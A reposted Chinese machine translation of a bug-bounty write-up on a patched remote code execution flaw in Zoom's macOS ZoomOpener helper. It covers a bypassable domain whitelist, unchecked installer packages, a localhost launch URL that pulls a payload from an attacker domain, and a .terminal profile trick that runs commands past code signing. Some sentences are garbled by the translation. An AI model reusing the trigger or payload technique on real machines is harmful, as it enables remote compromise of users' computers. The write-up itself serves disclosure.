寻找初始向量
我们的方法在很大程度上依赖于外部攻击面的侦察,但是由于空中3万英尺的低速wifi网络,我们发现这有点不切实际。急于破解,我们决定在macOS上查看Zoom的桌面客户端。
我们注意到的第一件事是与Zoom macOS客户端打包在一起的名为ZoomOpener的二进制文件。二进制文件注册了URL处理程序。zoomopener://,并在端口19421上运行本地网络服务器作为守护程序。
对Web服务器的用途/功能感到好奇,我们在拆装器中加载了ZoomOpener并开始四处浏览。很快,我们就能找到名为的端点/launch,经过一番摸索后发现这可能会触发macOS安装程序包的下载和安装。
这听起来像是远程执行代码错误的先兆,我们认为值得进一步研究。我们花了其余的时间来尝试构建概念验证,但运气不佳,发现此功能比我们最初想象的要复杂。
Shubs和Sean在理解Zoom客户端编写的Objective-C方面也遇到了困难,因此他们离开了它,直到我们与团队合作就概念证明进行进一步合作。
幸运的是,降落后我们处于良好的状态。我们对iOS骇客做了很多研究,并且对Objective-C很有经验。
逻辑缺陷
第二天,开始在我们查看ZoomOpener二进制文件。跳水进入反编译,我们发现,当软件更新被触发以正确的端点功能downloadZoomClientForDomain:的ZMLauncherMgr类被称为传递提供给该域launch的端点上的本地Web服务器。
此函数首先检查用户计算机上是否已下载了安装程序包,以及是否存在该包,请使用该类中的installPkg:函数继续进行安装ZMLauncherMgr。
如果未下载任何软件包,则该函数将触发下载,并以提供的域作为launch端点的参数。在下载安装程序之前,该功能会检查所提供的域是否与四个硬编码域(zoom.us,zipow.com,zoomgov.com和zoom.com)相匹配:
如果代码与这些字符串不直接匹配,它将执行以下代码:
此代码块确定domain参数是否包含带有以下任何值后缀的值:
- zoomgov.com
- zoom.us
- zoom.com
- zipow.com
下载后,将使用该类中的installPkg:函数安装软件包ZMLauncherMgr:
此代码获取下载的软件包,并将其传递给installermacOS(/usr/sbin/installer)上的二进制文件进行安装。似乎没有任何完整性检查。
综合考虑,我们确定可以通过以下两种方式之一获得RCE:
通过对任何列入白名单的域的子域接管(如乔纳森的帖子中所建议)
使用“ baddomain.com/.zoom.us”之类的域启动安装并提供恶意安装程序包。
我们通过挂接到ZoomOpener进程并调用downloadZoomClientForDomain:一个指向指向某些基础结构Sean来服务恶意文件的基础架构来验证了第二种方法的可利用性。
触发下载
确认了逻辑漏洞的可利用性之后,我们便开始可靠地触发下载并收集可行的PoC。这涉及到找出一些看似不可理解的JavaScript,因此我们将其传递给Assetnote的制造商。
深入研究JavaScript,我们确定Zoom本地服务器在中加载了一张图片,iframe并将该图片的尺寸映射到一系列“状态代码”,这些状态代码确定在ZoomOpener中触发了哪些操作。
一旦解决了这个问题,我们便尝试触发正确的代码来下载和安装新版本。在花费大量时间进行Zoom安装之后,我们确定触发此状态的必要前提是先安装Zoom后再将其卸载。
安装Zoom后,它将在用户的主目录〜/ .zoomus中创建一个文件夹,即使卸载了Zoom,该文件夹也会留下易受攻击的ZoomOpener的副本。值得注意的是,此问题已得到修补,并且此行为不再存在。
在了解了必要的前提条件后,我们可以通过向ZoomOpener服务器发出以下请求来触发从服务器下载:
http://localhost:19421/launch?action=launch&domain=assetnotehackszoom.com/attacker.zo om.us&usv=66916&uuid=-7839939700717828646&t=1553838149048
设置下载服务器
要使ZoomOpener下载我们的有效负载,还需要执行一些其他步骤。在分析downloadZoomClientForDomain:函数时,Michael注意到它getDownloadURL:在ZMClientHelper类中调用了方法。
此函数接受传递给launch端点的域,并返回一个字符串,该字符串包含它期望从服务器下载的路径:
当您使用有效域访问此URL时,它将返回一堆信息:
考虑到这一点,我们的服务器以在遇到该路径时做出相应的响应:
精心设计有效载荷
现在我们的服务器已设置为可以处理有效负载,我们需要编写有效负载。最初,我们开始使用运行我们的代码的预安装脚本创建一个macOS安装程序包,但是我们努力使该方法适用于PoC。
该pkg文件将按预期运行,但是与ZoomOpener的常规功能不同,它将显示macOS安装程序GUI,用户必须单击该macOS安装程序GUI才能使其正常工作。虽然可行,但这对于攻击PoC而言并不理想。我们想要更离散的产品,并且在竞争的压力下,我们专注于其他技术。
在通过软件包文件名修改命令注入之后,我们建议尝试以前在其他漏洞悬赏中使用的技术。
在macOS上的Terminal应用程序中,您可以创建一个终端配置文件(.terminal文件),该文件可用于指定启动命令。使用这种技术,您可以在绕过任何权限或代码签名限制的同时运行命令。
我们创建了以下.terminal配置文件,并将服务器设置为将其作为有效负载交付。
我们触发了下载并成功。
这项技术已经奏效,现在我们有了RCE,但通常该技术在传递给openURL:或openFile:时奏效,到目前为止,我们尚未缩放ZoomOpener函数中对这些函数的任何调用。
installPkg:更深入地回顾该函数,我们注意到,无论命令的结果如何,它都会installComplete:在ZMLauncherMgr类中调用该函数installer。
该installComplete:函数确实将.terminal文件传递给openFile:。
我们使用Frida确认了这一点:
最终的PoC
现在,有了所有这些功能,我们就可以在macOS上为RCE使用有效的PoC。
自从Jonathan公开披露了此错误以来,Zoom和Apple都推出了一些修复程序来解决此问题。这些技术在最新版本中均无效。
关注:Hunter网络安全 获取更多资讯
网站:bbs.kylzrv.com
CTF团队:Hunter网络安全
文章:Assetnote
排版:Hunter-匿名者
转载:https://blog.csdn.net/qq_25879801/article/details/112161715